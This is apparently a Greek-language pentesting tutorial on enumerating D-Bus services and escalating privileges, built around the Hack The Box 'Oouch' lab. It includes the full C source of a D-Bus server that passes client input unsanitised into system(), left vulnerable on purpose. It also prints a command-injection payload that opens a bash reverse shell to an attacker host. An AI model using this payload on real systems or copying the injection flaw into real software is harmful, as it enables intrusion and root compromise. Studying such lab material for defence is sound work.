Το D-Bus χρησιμοποιείται ως ο μεσολαβητής επικοινωνίας διεργασιών (IPC) σε περιβάλλοντα επιφάνειας εργασίας Ubuntu. Στο Ubuntu, παρατηρείται η ταυτόχρονη λειτουργία αρκετών λεωφορείων μηνυμάτων: το σύστημα λεωφορείο, που χρησιμοποιείται κυρίως από υπηρεσίες με προνόμια για να εκθέσουν υπηρεσίες σχετικές με το σύστημα, και ένα λεωφορείο συνεδρίας για κάθε συνδεδεμένο χρήστη, εκθέτοντας υπηρεσίες σχετικές μόνο με αυτόν τον συγκεκριμένο χρήστη. Η εστίαση εδώ είναι κυρίως στο σύστημα λεωφορείο λόγω της σύνδεσής του με υπηρεσίες που εκτελούνται με υψηλότερα προνόμια (π.χ., root) καθώς ο στόχος μας είναι να ανυψώσουμε τα προνόμια. Σημειώνεται ότι η αρχιτεκτονική του D-Bus χρησιμοποιεί έναν 'δρομολογητή' ανά λεωφορείο συνεδρίας, ο οποίος είναι υπεύθυνος για την ανακατεύθυνση των μηνυμάτων πελατών στις κατάλληλες υπηρεσίες με βάση τη διεύθυνση που καθορίζεται από τους πελάτες για την υπηρεσία με την οποία επιθυμούν να επικοινωνήσουν.
Οι υπηρεσίες στο D-Bus ορίζονται από τα αντικείμενα και διεπαφές που εκθέτουν. Τα αντικείμενα μπορούν να παρομοιαστούν με τις περιπτώσεις κλάσεων σε τυπικές γλώσσες OOP, με κάθε περίπτωση να αναγνωρίζεται μοναδικά από μια διαδρομή αντικειμένου. Αυτή η διαδρομή, παρόμοια με μια διαδρομή συστήματος αρχείων, αναγνωρίζει μοναδικά κάθε αντικείμενο που εκτίθεται από την υπηρεσία. Μια βασική διεπαφή για ερευνητικούς σκοπούς είναι η διεπαφή org.freedesktop.DBus.Introspectable, η οποία διαθέτει μια μοναδική μέθοδο, Introspect. Αυτή η μέθοδος επιστρέφει μια XML αναπαράσταση των υποστηριζόμενων μεθόδων, σημάτων και ιδιοτήτων του αντικειμένου, με εστίαση εδώ στις μεθόδους ενώ παραλείπονται οι ιδιότητες και τα σήματα.
Για την επικοινωνία με τη διεπαφή D-Bus, χρησιμοποιήθηκαν δύο εργαλεία: ένα εργαλείο CLI ονόματι gdbus για εύκολη κλήση μεθόδων που εκτίθενται από το D-Bus σε σενάρια, και το D-Feet, ένα εργαλείο GUI βασισμένο σε Python σχεδιασμένο για να καταγράφει τις διαθέσιμες υπηρεσίες σε κάθε λεωφορείο και να εμφανίζει τα αντικείμενα που περιέχονται σε κάθε υπηρεσία.
sudoapt-getinstalld-feet
Στην πρώτη εικόνα εμφανίζονται οι υπηρεσίες που είναι καταχωρημένες με το σύστημα D-Bus, με το org.debin.apt να επισημαίνεται ειδικά μετά την επιλογή του κουμπιού System Bus. Το D-Feet ερωτά αυτή την υπηρεσία για αντικείμενα, εμφανίζοντας διεπαφές, μεθόδους, ιδιότητες και σήματα για επιλεγμένα αντικείμενα, όπως φαίνεται στη δεύτερη εικόνα. Η υπογραφή κάθε μεθόδου είναι επίσης λεπτομερής.
Μια αξιοσημείωτη δυνατότητα είναι η εμφάνιση του process ID (pid) και της γραμμής εντολών της υπηρεσίας, χρήσιμη για την επιβεβαίωση αν η υπηρεσία εκτελείται με ανυψωμένα δικαιώματα, σημαντική για την έρευνα.
Το D-Feet επιτρέπει επίσης την κλήση μεθόδων: οι χρήστες μπορούν να εισάγουν εκφράσεις Python ως παραμέτρους, τις οποίες το D-Feet μετατρέπει σε τύπους D-Bus πριν τις περάσει στην υπηρεσία.
Ωστόσο, σημειώστε ότι ορισμένες μέθοδοι απαιτούν αυθεντικοποίηση πριν μας επιτρέψουν να τις καλέσουμε. Θα αγνοήσουμε αυτές τις μεθόδους, καθώς ο στόχος μας είναι να ανυψώσουμε τα δικαιώματά μας χωρίς διαπιστευτήρια εξαρχής.
Επίσης, σημειώστε ότι ορισμένες από τις υπηρεσίες ερωτούν μια άλλη υπηρεσία D-Bus που ονομάζεται org.freedeskto.PolicyKit1 αν θα πρέπει να επιτραπεί σε έναν χρήστη να εκτελέσει ορισμένες ενέργειες ή όχι.
Cmd line Enumeration
Λίστα Αντικειμένων Υπηρεσίας
Είναι δυνατόν να καταγραφούν οι ανοιχτές διεπαφές D-Bus με:
Από τη wikipedia: Όταν μια διαδικασία δημιουργεί μια σύνδεση σε ένα λεωφορείο, το λεωφορείο αναθέτει στη σύνδεση ένα ειδικό όνομα λεωφορείου που ονομάζεται μοναδικό όνομα σύνδεσης. Τα ονόματα λεωφορείου αυτού του τύπου είναι αμετάβλητα—είναι εγγυημένο ότι δεν θα αλλάξουν όσο υπάρχει η σύνδεση—και, πιο σημαντικά, δεν μπορούν να ξαναχρησιμοποιηθούν κατά τη διάρκεια της ζωής του λεωφορείου. Αυτό σημαίνει ότι καμία άλλη σύνδεση σε αυτό το λεωφορείο δεν θα έχει ποτέ ανατεθεί ένα τέτοιο μοναδικό όνομα σύνδεσης, ακόμη και αν η ίδια διαδικασία κλείσει τη σύνδεση στο λεωφορείο και δημιουργήσει μια νέα. Τα μοναδικά ονόματα σύνδεσης είναι εύκολα αναγνωρίσιμα επειδή ξεκινούν με τον—κατά τα άλλα απαγορευμένο—χαρακτήρα άνω και κάτω τελείας.
Πληροφορίες Αντικειμένου Υπηρεσίας
Στη συνέχεια, μπορείτε να αποκτήσετε κάποιες πληροφορίες σχετικά με τη διεπαφή με:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Λίστα Διεπαφών ενός Αντικειμένου Υπηρεσίας
Πρέπει να έχετε αρκετές άδειες.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspect Interface of a Service Object
Σημειώστε πώς σε αυτό το παράδειγμα επιλέχθηκε η πιο πρόσφατη διεπαφή που ανακαλύφθηκε χρησιμοποιώντας την παράμετρο tree (δείτε την προηγούμενη ενότητα):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Σημειώστε τη μέθοδο .Block της διεπαφής htb.oouch.Block (αυτή που μας ενδιαφέρει). Το "s" των άλλων στηλών μπορεί να σημαίνει ότι περιμένει μια συμβολοσειρά.
Διεπαφή Παρακολούθησης/Καταγραφής
Με αρκετά δικαιώματα (μόνο τα δικαιώματα send_destination και receive_sender δεν είναι αρκετά) μπορείτε να παρακολουθήσετε μια επικοινωνία D-Bus.
Αν ξέρετε πώς να ρυθμίσετε ένα αρχείο ρύθμισης D-Bus για να επιτρέψετε σε μη root χρήστες να παρακολουθούν την επικοινωνία, παρακαλώ επικοινωνήστε μαζί μου!
Διαφορετικοί τρόποι παρακολούθησης:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
Στο παρακάτω παράδειγμα, η διεπαφή htb.oouch.Block παρακολουθείται και το μήνυμα "lalalalal" αποστέλλεται μέσω παρεξήγησης:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Μπορείτε να χρησιμοποιήσετε το capture αντί για το monitor για να αποθηκεύσετε τα αποτελέσματα σε ένα αρχείο pcap.
Φιλτράρισμα όλων των θορύβων
Αν υπάρχει πάρα πολλές πληροφορίες στο λεωφορείο, περάστε έναν κανόνα αντιστοίχισης όπως παρακάτω:
Ως χρήστης qtc μέσα στον υπολογιστή "oouch" από το HTB μπορείτε να βρείτε ένα αναμενόμενο αρχείο ρυθμίσεων D-Bus που βρίσκεται στο /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Σημειώστε από την προηγούμενη διαμόρφωση ότι θα χρειαστεί να είστε ο χρήστης root ή www-data για να στείλετε και να λάβετε πληροφορίες μέσω αυτής της επικοινωνίας D-BUS.
Ως χρήστης qtc μέσα στο κοντέινερ docker aeb4525789d8 μπορείτε να βρείτε κάποιο κώδικα σχετικό με το dbus στο αρχείο /code/oouch/routes.py. Αυτός είναι ο ενδιαφέρον κώδικας:
Όπως μπορείτε να δείτε, συνδέεται σε μια διεπαφή D-Bus και στέλνει στη λειτουργία "Block" το "client_ip".
Στην άλλη πλευρά της σύνδεσης D-Bus εκτελείται κάποιο C compiled binary. Αυτός ο κώδικας ακούει στη σύνδεση D-Bus για διευθύνσεις IP και καλεί το iptables μέσω της system λειτουργίας για να μπλοκάρει τη δεδομένη διεύθυνση IP.
Η κλήση στη system είναι ευάλωτη σκόπιμα σε command injection, οπότε ένα payload όπως το παρακάτω θα δημιουργήσει ένα reverse shell: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Εκμεταλλευτείτε το
Στο τέλος αυτής της σελίδας μπορείτε να βρείτε τον ολοκληρωμένο C κώδικα της εφαρμογής D-Bus. Μέσα σε αυτόν μπορείτε να βρείτε μεταξύ των γραμμών 91-97 πώς η D-Bus object pathκαι το interface name είναι καταχωρημένα. Αυτές οι πληροφορίες θα είναι απαραίτητες για να στείλετε πληροφορίες στη σύνδεση D-Bus:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Επίσης, στη γραμμή 57 μπορείτε να βρείτε ότι η μόνη μέθοδος που έχει καταχωρηθεί για αυτή την επικοινωνία D-Bus ονομάζεται Block(Γι' αυτό στην επόμενη ενότητα τα payloads θα σταλούν στο αντικείμενο υπηρεσίας htb.oouch.Block, τη διεπαφή /htb/oouch/Block και το όνομα της μεθόδου Block):
Ο παρακάτω κώδικας python θα στείλει το payload στη σύνδεση D-Bus στη μέθοδο Block μέσω block_iface.Block(runme) (σημειώστε ότι έχει εξαχθεί από το προηγούμενο κομμάτι κώδικα):
dbus-send είναι ένα εργαλείο που χρησιμοποιείται για την αποστολή μηνυμάτων στο “Message Bus”
Message Bus – Ένα λογισμικό που χρησιμοποιείται από τα συστήματα για να διευκολύνει τις επικοινωνίες μεταξύ εφαρμογών. Σχετίζεται με το Message Queue (τα μηνύματα είναι διατεταγμένα σε ακολουθία) αλλά στο Message Bus τα μηνύματα αποστέλλονται σε μοντέλο συνδρομής και είναι επίσης πολύ γρήγορα.
Η ετικέτα “-system” χρησιμοποιείται για να αναφέρει ότι είναι ένα σύστημα μήνυμα, όχι ένα μήνυμα συνεδρίας (κατά προεπιλογή).
Η ετικέτα “–print-reply” χρησιμοποιείται για να εκτυπώσει το μήνυμά μας κατάλληλα και να λάβει οποιεσδήποτε απαντήσεις σε αναγνώσιμη μορφή από άνθρωπο.
“–dest=Dbus-Interface-Block” Η διεύθυνση της διεπαφής Dbus.
“–string:” – Τύπος μηνύματος που θέλουμε να στείλουμε στη διεπαφή. Υπάρχουν διάφορες μορφές αποστολής μηνυμάτων όπως διπλά, bytes, booleans, int, objpath. Από αυτά, το “object path” είναι χρήσιμο όταν θέλουμε να στείλουμε μια διαδρομή ενός αρχείου στη διεπαφή Dbus. Μπορούμε να χρησιμοποιήσουμε ένα ειδικό αρχείο (FIFO) σε αυτή την περίπτωση για να περάσουμε μια εντολή στη διεπαφή με το όνομα ενός αρχείου. “string:;” – Αυτό είναι για να καλέσουμε ξανά το object path όπου τοποθετούμε το αρχείο/εντολή FIFO reverse shell.
Σημειώστε ότι στο htb.oouch.Block.Block, το πρώτο μέρος (htb.oouch.Block) αναφέρεται στο αντικείμενο υπηρεσίας και το τελευταίο μέρος (.Block) αναφέρεται στο όνομα της μεθόδου.
C code
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}